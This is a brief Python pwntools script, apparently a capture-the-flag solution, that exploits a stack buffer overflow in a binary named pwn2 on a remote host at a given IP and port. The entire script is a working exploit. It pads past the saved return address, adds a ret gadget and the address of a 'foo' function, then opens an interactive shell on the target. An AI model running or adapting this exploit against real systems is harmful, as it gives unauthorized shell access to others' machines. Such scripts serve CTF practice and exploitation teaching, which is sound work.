from pwn import *
host = '49.232.142.230'
port = 16954
p = remote(host, port)
elf = ELF('./pwn2')

rop = ROP(elf)
ret = rop.find_gadget(['ret']).address
shell = elf.sym['foo']

p.recvuntil('exactly!\n')
payload = b'a'*(0x70 + 0x8) + p64(ret) + p64(shell)
p.sendline(payload)
p.interactive()